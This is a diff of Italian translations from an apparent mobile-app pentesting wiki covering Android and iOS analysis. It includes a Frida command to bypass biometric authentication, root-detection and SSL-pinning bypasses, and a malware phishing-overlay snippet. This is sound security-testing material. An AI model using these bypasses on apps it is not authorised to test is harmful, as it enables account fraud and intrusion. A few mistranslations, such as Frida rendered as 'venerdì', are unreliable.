Le applicazioni integrano spesso servizi come Google Adsense, che possono involontariamente **trapelare dati sensibili** a causa di implementazioni errate da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare eventuali informazioni sensibili inviate a servizi di terze parti.
|
||||
|
||||
### DB SQLite
|
||||
|
||||
@ -310,12 +310,12 @@ I database dovrebbero trovarsi in `/data/data/the.package.name/databases` come `
|
||||
|
||||
Se il database sta salvando informazioni riservate ed è **crittografato** ma puoi **trovare** la **password** all'interno dell'applicazione, è comunque una **vulnerabilità**.
|
||||
|
||||
Enumera le tabelle utilizzando `.tables` e enumera le colonne delle tabelle eseguendo `.schema <table_name>`.
|
||||
Enumera le tabelle usando `.tables` e enumera le colonne delle tabelle eseguendo `.schema <table_name>`.
|
||||
|
||||
### Drozer (Attività di sfruttamento, Content Providers e Servizi)
|
||||
|
||||
Da [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** ti consente di **assumere il ruolo di un'app Android** e interagire con altre app. Può fare **qualsiasi cosa che un'applicazione installata può fare**, come utilizzare il meccanismo di comunicazione interprocesso (IPC) di Android e interagire con il sistema operativo sottostante.\
|
||||
Drozer è uno strumento utile per **sfruttare attività esportate, servizi esportati e Content Providers**, come imparerai nelle sezioni seguenti.
|
||||
Drozer è uno strumento utile per **sfruttare attività esportate, servizi esportati e Content Providers** come imparerai nelle sezioni seguenti.
|
||||
|
||||
### Sfruttare attività esportate
|
||||
|
||||
@ -324,7 +324,7 @@ Ricorda anche che il codice di un'attività inizia nel metodo **`onCreate`**.
|
||||
|
||||
**Bypass dell'autorizzazione**
|
||||
|
||||
Quando un'Activity è esportata, puoi invocare la sua schermata da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i meccanismi di **autenticazione** **per accedervi.**
|
||||
Quando un'Activity è esportata, puoi invocare la sua schermata da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i meccanismi di **autenticazione** **per accedervi**.
|
||||
|
||||
[**Scopri come sfruttare le attività esportate con Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
@ -346,7 +346,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
Se il tapjacking non viene prevenuto, potresti abusare dell'attività esportata per far **eseguire azioni inaspettate** all'utente. Per ulteriori informazioni su [**cosa è il Tapjacking segui il link**](#tapjacking).
|
||||
Se il tapjacking non viene prevenuto, potresti abusare dell'attività esportata per far **eseguire azioni inaspettate** all'utente. Per ulteriori informazioni su [**cos'è il Tapjacking segui il link**](#tapjacking).
|
||||
|
||||
### Sfruttare i Content Providers - Accesso e manipolazione di informazioni sensibili
|
||||
|
||||
@ -407,7 +407,7 @@ Un [interessante rapporto di bug bounty](https://hackerone.com/reports/855618) s
|
||||
### Ispezione e verifiche del livello di trasporto
|
||||
|
||||
- **I certificati non vengono sempre ispezionati correttamente** dalle applicazioni Android. È comune che queste applicazioni trascurino gli avvisi e accettino certificati autofirmati o, in alcuni casi, tornino a utilizzare connessioni HTTP.
|
||||
- **Le negoziazioni durante il handshake SSL/TLS sono a volte deboli**, impiegando suite crittografiche insicure. Questa vulnerabilità rende la connessione suscettibile ad attacchi man-in-the-middle (MITM), consentendo agli attaccanti di decrittare i dati.
|
||||
- **Le negoziazioni durante il handshake SSL/TLS sono a volte deboli**, impiegando suite crittografiche insicure. Questa vulnerabilità rende la connessione suscettibile ad attacchi man-in-the-middle (MITM), consentendo agli attaccanti di decrittografare i dati.
|
||||
- **La perdita di informazioni private** è un rischio quando le applicazioni si autenticano utilizzando canali sicuri ma poi comunicano tramite canali non sicuri per altre transazioni. Questo approccio non riesce a proteggere i dati sensibili, come i cookie di sessione o i dettagli degli utenti, dall'intercettazione da parte di entità malevole.
|
||||
|
||||
#### Verifica del certificato
|
||||
@ -422,9 +422,9 @@ SSL Pinning è una misura di sicurezza in cui l'applicazione verifica il certifi
|
||||
|
||||
Per ispezionare il traffico HTTP, è necessario **installare il certificato dello strumento proxy** (ad es., Burp). Senza installare questo certificato, il traffico crittografato potrebbe non essere visibile attraverso il proxy. Per una guida sull'installazione di un certificato CA personalizzato, [**clicca qui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Le applicazioni destinate a **API Level 24 e superiori** richiedono modifiche alla Configurazione della Sicurezza di Rete per accettare il certificato CA del proxy. Questo passaggio è fondamentale per ispezionare il traffico crittografato. Per istruzioni su come modificare la Configurazione della Sicurezza di Rete, [**fai riferimento a questo tutorial**](make-apk-accept-ca-certificate.md).
|
||||
Le applicazioni destinate a **API Level 24 e superiori** richiedono modifiche alla Configurazione della Sicurezza di Rete per accettare il certificato CA del proxy. Questo passaggio è critico per ispezionare il traffico crittografato. Per istruzioni su come modificare la Configurazione della Sicurezza di Rete, [**fai riferimento a questo tutorial**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Se **Flutter** viene utilizzato, devi seguire le istruzioni in [**questa pagina**](flutter.md). Questo perché, aggiungere semplicemente il certificato nel negozio non funzionerà poiché Flutter ha la propria lista di CAs validi.
|
||||
Se **Flutter** viene utilizzato, devi seguire le istruzioni in [**questa pagina**](flutter.md). Questo perché, aggiungere semplicemente il certificato nel negozio non funzionerà poiché Flutter ha la propria lista di CA valide.
|
||||
|
||||
#### Bypassare SSL Pinning
|
||||
|
||||
@ -487,7 +487,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Fingerprint/Biometrics Bypass**
|
||||
|
||||
Utilizzando il seguente script Frida potrebbe essere possibile **bypassare l'autenticazione tramite impronta digitale** che le applicazioni Android potrebbero eseguire per **proteggere determinate aree sensibili:**
|
||||
Utilizzando il seguente script Frida, potrebbe essere possibile **bypassare l'autenticazione tramite impronta digitale** che le applicazioni Android potrebbero eseguire per **proteggere determinate aree sensibili:**
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
@ -505,7 +505,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
### **Analizzatore di Applicazioni Android**
|
||||
|
||||
Questo strumento può aiutarti a gestire diversi strumenti durante l'analisi dinamica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
Questo strumento potrebbe aiutarti a gestire diversi strumenti durante l'analisi dinamica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
|
||||
### Iniezione di Intent
|
||||
|
||||
@ -527,7 +527,7 @@ Probabilmente conosci questo tipo di vulnerabilità dal Web. Devi essere partico
|
||||
- **Iniezione SQL:** Quando gestisci query dinamiche o Content-Providers assicurati di utilizzare query parametrizzate.
|
||||
- **Iniezione JavaScript (XSS):** Verifica che il supporto per JavaScript e Plugin sia disabilitato per qualsiasi WebView (disabilitato per impostazione predefinita). [Ulteriori informazioni qui](webview-attacks.md#javascript-enabled).
|
||||
- **Inclusione di File Locali:** Le WebView dovrebbero avere l'accesso al file system disabilitato (abilitato per impostazione predefinita) - `(webview.getSettings().setAllowFileAccess(false);)`. [Ulteriori informazioni qui](webview-attacks.md#javascript-enabled).
|
||||
- **Cookie Eterni**: In diversi casi, quando l'applicazione android termina la sessione, il cookie non viene revocato o potrebbe essere persino salvato su disco.
|
||||
- **Cookie Eterni**: In diversi casi, quando l'applicazione Android termina la sessione, il cookie non viene revocato o potrebbe essere persino salvato su disco.
|
||||
- [**Flag Sicuro** nei cookie](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
@ -540,7 +540,7 @@ Probabilmente conosci questo tipo di vulnerabilità dal Web. Devi essere partico
|
||||
|
||||
.png>)
|
||||
|
||||
**Valutazione delle vulnerabilità dell'applicazione** utilizzando un bel frontend web-based. Puoi anche eseguire analisi dinamica (ma devi preparare l'ambiente).
|
||||
**Valutazione della vulnerabilità dell'applicazione** utilizzando un bel frontend web-based. Puoi anche eseguire analisi dinamica (ma devi preparare l'ambiente).
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
@ -548,18 +548,18 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
Nota che MobSF può analizzare **Android**(apk)**, IOS**(ipa) **e Windows**(apx) applicazioni (_Le applicazioni Windows devono essere analizzate da un MobSF installato su un host Windows_).\
|
||||
Inoltre, se crei un file **ZIP** con il codice sorgente di un'app **Android** o di un'app **IOS** (vai alla cartella radice dell'applicazione, seleziona tutto e crea un file ZIP), sarà in grado di analizzarlo anche.
|
||||
|
||||
MobSF consente anche di **diff/Confrontare** analisi e di integrare **VirusTotal** (dovrai impostare la tua chiave API in _MobSF/settings.py_ e abilitarla: `VT_ENABLED = TRUE` `VT_API_KEY = <La tua chiave API>` `VT_UPLOAD = TRUE`). Puoi anche impostare `VT_UPLOAD` su `False`, quindi l'**hash** sarà **caricato** invece del file.
|
||||
MobSF consente anche di **diff/Confrontare** analisi e di integrare **VirusTotal** (dovrai impostare la tua chiave API in _MobSF/settings.py_ e abilitarla: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Puoi anche impostare `VT_UPLOAD` su `False`, quindi l'**hash** sarà **caricato** invece del file.
|
||||
|
||||
### Analisi dinamica assistita con MobSF
|
||||
|
||||
**MobSF** può essere molto utile per l'**analisi dinamica** in **Android**, ma in quel caso dovrai installare MobSF e **genymotion** sul tuo host (una VM o Docker non funzioneranno). _Nota: Devi **avviare prima una VM in genymotion** e **poi MobSF.**_\
|
||||
L'**analizzatore dinamico MobSF** può:
|
||||
L'**analizzatore dinamico di MobSF** può:
|
||||
|
||||
- **Dump dei dati dell'applicazione** (URL, log, appunti, screenshot fatti da te, screenshot fatti da "**Exported Activity Tester**", email, database SQLite, file XML e altri file creati). Tutto questo viene fatto automaticamente tranne per gli screenshot, devi premere quando vuoi uno screenshot o devi premere "**Exported Activity Tester**" per ottenere screenshot di tutte le attività esportate.
|
||||
- Catturare il **traffico HTTPS**
|
||||
- Usare **Frida** per ottenere **informazioni** **runtime**
|
||||
|
||||
Dalla versione **Android > 5**, avvierà **automaticamente Frida** e imposterà le impostazioni del **proxy** globale per **catturare** il traffico. Catturerà solo il traffico dall'applicazione testata.
|
||||
Dalla versione **android > 5**, avvierà **automaticamente Frida** e imposterà le impostazioni globali del **proxy** per **catturare** il traffico. Catturerà solo il traffico dall'applicazione testata.
|
||||
|
||||
**Frida**
|
||||
|
||||
@ -567,7 +567,7 @@ Per impostazione predefinita, utilizzerà anche alcuni script Frida per **bypass
|
||||
MobSF può anche **invocare attività esportate**, acquisire **screenshot** di esse e **salvarle** per il rapporto.
|
||||
|
||||
Per **iniziare** il test dinamico premi il pulsante verde: "**Start Instrumentation**". Premi "**Frida Live Logs**" per vedere i log generati dagli script Frida e "**Live API Monitor**" per vedere tutte le invocazioni ai metodi hookati, gli argomenti passati e i valori restituiti (questo apparirà dopo aver premuto "Start Instrumentation").\
|
||||
MobSF consente anche di caricare i propri **script Frida** (per inviare i risultati dei tuoi script Frida a MobSF usa la funzione `send()`). Ha anche **diversi script pre-scritti** che puoi caricare (puoi aggiungerne di più in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selezionarli**, premere "**Load**" e premere "**Start Instrumentation**" (sarai in grado di vedere i log di quegli script all'interno di "**Frida Live Logs**").
|
||||
MobSF consente anche di caricare i propri **script Frida** (per inviare i risultati dei tuoi script di venerdì a MobSF usa la funzione `send()`). Ha anche **diversi script pre-scritti** che puoi caricare (puoi aggiungerne di più in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selezionarli**, premere "**Load**" e premere "**Start Instrumentation**" (sarai in grado di vedere i log di quegli script all'interno di "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
|
||||
@ -580,7 +580,7 @@ Inoltre, hai alcune funzionalità ausiliarie di Frida:
|
||||
- **Cerca Modello di Classe**: Cerca classi per modello
|
||||
- **Traccia Metodi di Classe**: **Traccia** un'**intera classe** (vedi input e output di tutti i metodi della classe). Ricorda che per impostazione predefinita MobSF traccia diversi metodi API Android interessanti.
|
||||
|
||||
Una volta selezionato il modulo ausiliario che desideri utilizzare, devi premere "**Start Instrumentation**" e vedrai tutti gli output in "**Frida Live Logs**".
|
||||
Una volta selezionato il modulo ausiliario che desideri utilizzare, devi premere "**Start Intrumentation**" e vedrai tutti gli output in "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
@ -595,13 +595,13 @@ receivers
|
||||
```
|
||||
**Strumenti HTTP**
|
||||
|
||||
Quando il traffico http viene catturato, puoi vedere una vista brutta del traffico catturato in "**HTTP(S) Traffic**" in basso o una vista più gradevole nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **inviare** le **richieste catturate** a **proxy** come Burp o Owasp ZAP.\
|
||||
Quando il traffico http viene catturato, puoi vedere una vista brutta del traffico catturato in "**HTTP(S) Traffic**" in basso o una vista più gradevole nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **inviare** le **richieste catturate** a **proxies** come Burp o Owasp ZAP.\
|
||||
Per farlo, _accendi Burp -->_ _disattiva Intercept --> in MobSB HTTPTools seleziona la richiesta_ --> premi "**Send to Fuzzer**" --> _seleziona l'indirizzo del proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Una volta terminata l'analisi dinamica con MobSF, puoi premere su "**Start Web API Fuzzer**" per **fuzzare le richieste http** e cercare vulnerabilità.
|
||||
|
||||
> [!TIP]
|
||||
> Dopo aver eseguito un'analisi dinamica con MobSF, le impostazioni del proxy potrebbero essere mal configurate e non sarai in grado di correggerle dalla GUI. Puoi correggere le impostazioni del proxy eseguendo:
|
||||
> Dopo aver eseguito un'analisi dinamica con MobSF, le impostazioni del proxy potrebbero essere configurate in modo errato e non sarai in grado di correggerle dalla GUI. Puoi correggere le impostazioni del proxy eseguendo:
|
||||
>
|
||||
> ```
|
||||
> adb shell settings put global http_proxy :0
|
||||
@ -620,7 +620,7 @@ Questo è un **ottimo strumento per eseguire analisi statiche con una GUI**
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Questo strumento è progettato per cercare diverse **vulnerabilità relative alla sicurezza delle applicazioni Android**, sia nel **codice sorgente** che nei **APK confezionati**. Lo strumento è anche **capace di creare un APK "Proof-of-Concept" deployabile** e **comandi ADB**, per sfruttare alcune delle vulnerabilità trovate (Attività esposte, intenti, tapjacking...). Come con Drozer, non è necessario rootare il dispositivo di test.
|
||||
Questo strumento è progettato per cercare diverse **vulnerabilità relative alla sicurezza delle applicazioni Android**, sia nel **codice sorgente** che nei **APK confezionati**. Lo strumento è anche **capace di creare un APK "Proof-of-Concept" distribuibile** e **comandi ADB**, per sfruttare alcune delle vulnerabilità trovate (Attività esposte, intenti, tapjacking...). Come con Drozer, non è necessario rootare il dispositivo di test.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -672,7 +672,7 @@ androbugs.exe -f [APK file]
|
||||
|
||||
**Androwarn** è uno strumento il cui obiettivo principale è rilevare e avvisare l'utente riguardo a potenziali comportamenti malevoli sviluppati da un'applicazione Android.
|
||||
|
||||
Il rilevamento viene eseguito con l'**analisi statica** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, utilizzando la libreria [`androguard`](https://github.com/androguard/androguard).
|
||||
Il rilevamento viene effettuato con l'**analisi statica** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, con la libreria [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
Questo strumento cerca **comportamenti comuni di applicazioni "cattive"** come: esfiltrazione di identificatori di telefonia, intercettazione di flussi audio/video, modifica dei dati PIM, esecuzione di codice arbitrario...
|
||||
```
|
||||
@ -703,7 +703,7 @@ Nota che a seconda del servizio e della configurazione che utilizzi per offuscar
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
Da [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** è uno strumento da riga di comando open source che riduce, ottimizza e offusca il codice Java. È in grado di ottimizzare il bytecode e di rilevare e rimuovere istruzioni non utilizzate. ProGuard è software gratuito ed è distribuito sotto la GNU General Public License, versione 2.
|
||||
Da [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** è uno strumento da riga di comando open source che riduce, ottimizza e offusca il codice Java. È in grado di ottimizzare il bytecode e di rilevare e rimuovere istruzioni non utilizzate. ProGuard è software libero ed è distribuito sotto la GNU General Public License, versione 2.
|
||||
|
||||
ProGuard è distribuito come parte dell'Android SDK e viene eseguito durante la costruzione dell'applicazione in modalità release.
|
||||
|
||||
|
||||
@ -23,9 +23,9 @@ Molte app cercano solo indicatori ovvi (percorsi su/Magisk/getprop). DenyList sp
|
||||
Riferimenti:
|
||||
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
|
||||
|
||||
## Passo 2 — Test di Frida Codeshare in 30 secondi
|
||||
## Passo 2 — Test Frida Codeshare di 30 secondi
|
||||
|
||||
Prova script comuni drop-in prima di approfondire:
|
||||
Prova script drop-in comuni prima di approfondire:
|
||||
|
||||
- anti-root-bypass.js
|
||||
- anti-frida-detection.js
|
||||
@ -39,7 +39,7 @@ Questi tipicamente stub controlli Java root/debug, scansione di processi/servizi
|
||||
|
||||
- Codeshare: https://codeshare.frida.re/
|
||||
|
||||
## Step 3 — Bypass dei rilevatori di init-time attaccando in ritardo
|
||||
## Step 3 — Bypassare i rilevatori di init-time attaccando in ritardo
|
||||
|
||||
Molte rilevazioni vengono eseguite solo durante la creazione del processo/onCreate(). L'iniezione al momento della creazione (-f) o gadget vengono catturati; attaccarsi dopo il caricamento dell'interfaccia utente può sfuggire.
|
||||
```bash
|
||||
@ -70,7 +70,7 @@ API comuni da rivedere/agganciare:
|
||||
|
||||
## Passo 5 — Stubbing a runtime con Frida (Java)
|
||||
|
||||
Sovrascrivi le guardie personalizzate per restituire valori sicuri senza ripackaging:
|
||||
Sovrascrivi le guardie personalizzate per restituire valori sicuri senza ripacchettare:
|
||||
```js
|
||||
Java.perform(() => {
|
||||
const Checks = Java.use('com.example.security.Checks');
|
||||
@ -134,7 +134,7 @@ Vedi anche: {{#ref}}
|
||||
reversing-native-libraries.md
|
||||
{{#endref}}
|
||||
|
||||
## Passo 7 — Patching con Objection (embed gadget / strip basics)
|
||||
## Passo 7 — Patching Objection (gadget incorporato / nozioni di base sullo stripping)
|
||||
|
||||
Quando preferisci il repacking ai runtime hooks, prova:
|
||||
```bash
|
||||
@ -149,7 +149,7 @@ Riferimenti:
|
||||
|
||||
## Passo 8 — Fallback: Patch TLS pinning per la visibilità della rete
|
||||
|
||||
Se l'istrumentazione è bloccata, puoi comunque ispezionare il traffico rimuovendo il pinning in modo statico:
|
||||
Se l'istrumentazione è bloccata, puoi comunque ispezionare il traffico rimuovendo staticamente il pinning:
|
||||
```bash
|
||||
apk-mitm app.apk
|
||||
# Then install the patched APK and proxy via Burp/mitmproxy
|
||||
@ -184,8 +184,8 @@ apk-mitm app.apk
|
||||
## Suggerimenti e avvertenze
|
||||
|
||||
- Preferisci allegare tardi piuttosto che generare nuovi processi quando le app si bloccano all'avvio
|
||||
- Alcune rilevazioni vengono rieseguite in flussi critici (ad es., pagamento, autenticazione) — mantieni gli hook attivi durante la navigazione
|
||||
- Mescola statico e dinamico: cerca stringhe in Jadx per selezionare classi; poi aggancia i metodi per verificare a runtime
|
||||
- Alcune rilevazioni vengono rieseguite in flussi critici (ad es., pagamento, autenticazione) — mantieni i hook attivi durante la navigazione
|
||||
- Mescola statico e dinamico: cerca stringhe in Jadx per selezionare le classi; poi aggancia i metodi per verificare a runtime
|
||||
- Le app rinforzate possono utilizzare packer e pinning TLS nativo — aspettati di fare reverse del codice nativo
|
||||
|
||||
## Riferimenti
|
||||
|
||||
@ -58,7 +58,7 @@ La macchina virtuale sarà creata. Ora **ogni volta che accedi all'AVD manager s
|
||||
|
||||
### Eseguire la Macchina Virtuale
|
||||
|
||||
Per **eseguirla** basta premere il _**Pulsante Start**_.
|
||||
Per **eseguirla** basta premere il _**Pulsante di Avvio**_.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -193,7 +193,7 @@ Se hai scaricato un dispositivo con Play Store non sarai in grado di ottenere ro
|
||||
$ adb root
|
||||
adbd cannot run as root in production builds
|
||||
```
|
||||
Usando [rootAVD](https://github.com/newbit1/rootAVD) con [Magisk](https://github.com/topjohnwu/Magisk) sono riuscito a fare il root (segui per esempio [**questo video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **o** [**questo**](https://www.youtube.com/watch?v=qQicUW0svB8)).
|
||||
Usando [rootAVD](https://github.com/newbit1/rootAVD) con [Magisk](https://github.com/topjohnwu/Magisk) sono riuscito a fare il root (segui ad esempio [**questo video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **o** [**questo**](https://www.youtube.com/watch?v=qQicUW0svB8)).
|
||||
|
||||
## Installa il Certificato Burp
|
||||
|
||||
|
||||
@ -46,7 +46,7 @@ Per analizzare ulteriormente il codice JavaScript, puoi caricare il file su [htt
|
||||
|
||||
Se trovi un file chiamato `index.android.bundle.map`, potrai analizzare il codice sorgente in un formato non minificato. I file di mappatura contengono mappature sorgente, che ti permettono di mappare identificatori minificati.
|
||||
|
||||
Per cercare credenziali sensibili e endpoint, segui questi passaggi:
|
||||
Per cercare credenziali sensibili ed endpoint, segui questi passaggi:
|
||||
|
||||
1. Identifica parole chiave sensibili per analizzare il codice JavaScript. Le applicazioni React Native spesso utilizzano servizi di terze parti come Firebase, endpoint del servizio AWS S3, chiavi private, ecc.
|
||||
|
||||
@ -74,18 +74,18 @@ strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|Deployme
|
||||
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"
|
||||
```
|
||||
Se sospetti framework di aggiornamento Over-The-Air, cerca anche:
|
||||
- Microsoft App Center / CodePush chiavi di distribuzione
|
||||
- Microsoft App Center / chiavi di distribuzione CodePush
|
||||
- Configurazione Expo EAS Updates (`expo-updates`, `expo\.io`, certificati di firma)
|
||||
|
||||
### Modifica il codice JS e ricompila
|
||||
|
||||
In questo caso, modificare il codice è facile. Devi solo rinominare l'app per utilizzare l'estensione `.zip` ed estrarla. Poi puoi **modificare il codice JS all'interno di questo pacchetto e ricompilare l'app**. Questo dovrebbe essere sufficiente per permetterti di **iniettare codice** nell'app per scopi di test.
|
||||
In questo caso, modificare il codice è facile. Devi solo rinominare l'app per utilizzare l'estensione `.zip` ed estrarla. Poi puoi **modificare il codice JS all'interno di questo bundle e ricompilare l'app**. Questo dovrebbe essere sufficiente per permetterti di **iniettare codice** nell'app per scopi di test.
|
||||
|
||||
## Bytecode Hermes
|
||||
|
||||
Se il pacchetto contiene **bytecode Hermes**, **non sarai in grado di accedere al codice Javascript** dell'app (neanche alla versione minificata).
|
||||
Se il bundle contiene **bytecode Hermes**, **non sarai in grado di accedere al codice Javascript** dell'app (neanche alla versione minificata).
|
||||
|
||||
Puoi controllare se il pacchetto contiene bytecode Hermes eseguendo il seguente comando:
|
||||
Puoi controllare se il bundle contiene bytecode Hermes eseguendo il seguente comando:
|
||||
```bash
|
||||
file index.android.bundle
|
||||
index.android.bundle: Hermes JavaScript bytecode, version 96
|
||||
@ -104,13 +104,13 @@ hasmer disasm ./index.android.bundle -o hasm_out
|
||||
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
|
||||
hbc-decompiler ./index.android.bundle /tmp/my_output_file.js
|
||||
```
|
||||
Suggerimento: Il progetto open-source Hermes include anche strumenti per sviluppatori come `hbcdump` in specifiche versioni di Hermes. Se costruisci la versione corrispondente di Hermes utilizzata per produrre il bundle, `hbcdump` può estrarre funzioni, tabelle di stringhe e bytecode per un'analisi più approfondita.
|
||||
Tip: Il progetto open-source Hermes include anche strumenti per sviluppatori come `hbcdump` in specifiche versioni di Hermes. Se costruisci la versione corrispondente di Hermes utilizzata per produrre il bundle, `hbcdump` può estrarre funzioni, tabelle di stringhe e bytecode per un'analisi più approfondita.
|
||||
|
||||
### Modifica il codice e ricostruisci (Hermes)
|
||||
|
||||
Idealmente dovresti essere in grado di modificare il codice disassemblato (cambiando un confronto, un valore o qualsiasi cosa tu debba modificare) e poi **ricostruire il bytecode** e ricostruire l'app.
|
||||
Idealmente dovresti essere in grado di modificare il codice disassemblato (cambiando un confronto, o un valore o qualsiasi cosa tu debba modificare) e poi **ricostruire il bytecode** e ricostruire l'app.
|
||||
|
||||
- L'originale **[hbctool](https://github.com/bongtrop/hbctool)** supporta il disassemblaggio del bundle e la ricostruzione dopo le modifiche, ma storicamente supportava solo versioni di bytecode più vecchie. I fork mantenuti dalla comunità estendono il supporto a versioni più recenti di Hermes (inclusi gli anni '80–96) e sono spesso l'opzione più pratica per patchare le app RN moderne.
|
||||
- Il **[hbctool](https://github.com/bongtrop/hbctool)** originale supporta il disassemblaggio del bundle e la ricostruzione dopo le modifiche, ma storicamente supportava solo versioni di bytecode più vecchie. I fork mantenuti dalla comunità estendono il supporto a versioni più recenti di Hermes (inclusi gli anni '80–96) e sono spesso l'opzione più pratica per patchare app moderne di RN.
|
||||
- Lo strumento **[hermes-dec](https://github.com/P1sec/hermes-dec)** non supporta la ricostruzione del bytecode (solo decompilatore/disassemblatore), ma è molto utile per navigare nella logica e estrarre stringhe.
|
||||
- Lo strumento **[hasmer](https://github.com/lucasbaizer2/hasmer)** mira a supportare sia il disassemblaggio che l'assemblaggio per più versioni di Hermes; l'assemblaggio è ancora in fase di sviluppo ma vale la pena provare su bytecode recenti.
|
||||
|
||||
@ -176,7 +176,7 @@ frida-tutorial/objection-tutorial.md
|
||||
Quando si auditano i moduli di terze parti visibili nel bundle JS o nelle librerie native, controlla le vulnerabilità note e verifica le versioni in `package.json`/`yarn.lock`.
|
||||
|
||||
- react-native-mmkv (Android): le versioni precedenti alla 2.11.0 registravano la chiave di crittografia opzionale nei log di Android. Se ADB/logcat è disponibile, i segreti potrebbero essere recuperati. Assicurati di avere >= 2.11.0. Indicatori: utilizzo di `react-native-mmkv`, dichiarazioni di log che menzionano l'inizializzazione di MMKV con crittografia. CVE-2024-21668.
|
||||
- react-native-document-picker: le versioni < 9.1.1 erano vulnerabili a traversate di percorso su Android (selezione file), corretto in 9.1.1. Valida gli input e la versione della libreria.
|
||||
- react-native-document-picker: le versioni < 9.1.1 erano vulnerabili a traversate di percorso su Android (selezione file), risolto nella 9.1.1. Valida gli input e la versione della libreria.
|
||||
|
||||
Controlli rapidi:
|
||||
```bash
|
||||
|
||||
@ -69,7 +69,7 @@ Oltre al classico Tapjacking, le moderne famiglie di malware bancario Android (a
|
||||
### Come funziona
|
||||
1. L'APK malevolo richiede il permesso altamente sensibile `BIND_ACCESSIBILITY_SERVICE`, solitamente nascondendo la richiesta dietro un falso dialogo di Google/Chrome/visualizzatore PDF.
|
||||
2. Una volta che l'utente abilita il servizio, il malware simula programmaticamente i tocchi necessari per concedere ulteriori permessi pericolosi (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …).
|
||||
3. Un **WebView** viene inflazionato e aggiunto al gestore delle finestre utilizzando il tipo di finestra **`TYPE_ACCESSIBILITY_OVERLAY`**. L'overlay può essere reso completamente opaco o semi-trasparente e può essere contrassegnato come *“attraverso”* in modo che i tocchi originali vengano comunque consegnati all'attività in background (così la transazione avviene realmente mentre la vittima vede solo il modulo di phishing).
|
||||
3. Un **WebView** viene inflazionato e aggiunto al gestore delle finestre utilizzando il tipo di finestra **`TYPE_ACCESSIBILITY_OVERLAY`**. L'overlay può essere reso completamente opaco o semi-trasparente e può essere contrassegnato come *“attraverso”* in modo che i tocchi originali vengano comunque consegnati all'attività di sfondo (così la transazione avviene realmente mentre la vittima vede solo il modulo di phishing).
|
||||
```java
|
||||
WebView phishingView = new WebView(getApplicationContext());
|
||||
phishingView.getSettings().setJavaScriptEnabled(true);
|
||||
|
||||
@ -166,7 +166,7 @@ ios-hooking-with-objection.md
|
||||
|
||||
### IPA Structure
|
||||
|
||||
La struttura di un **file IPA** è essenzialmente quella di un **pacchetto compresso**. Rinominando la sua estensione in `.zip`, può essere **decompresso** per rivelarne i contenuti. All'interno di questa struttura, un **Bundle** rappresenta un'applicazione completamente confezionata pronta per l'installazione. All'interno, troverai una directory chiamata `<NAME>.app`, che racchiude le risorse dell'applicazione.
|
||||
La struttura di un **file IPA** è essenzialmente quella di un **pacchetto compresso**. Rinominando la sua estensione in `.zip`, può essere **decompresso** per rivelarne i contenuti. All'interno di questa struttura, un **Bundle** rappresenta un'applicazione completamente impacchettata pronta per l'installazione. All'interno, troverai una directory chiamata `<NAME>.app`, che racchiude le risorse dell'applicazione.
|
||||
|
||||
- **`Info.plist`**: Questo file contiene dettagli di configurazione specifici dell'applicazione.
|
||||
- **`_CodeSignature/`**: Questa directory include un file plist che contiene una firma, garantendo l'integrità di tutti i file nel bundle.
|
||||
@ -174,11 +174,11 @@ La struttura di un **file IPA** è essenzialmente quella di un **pacchetto compr
|
||||
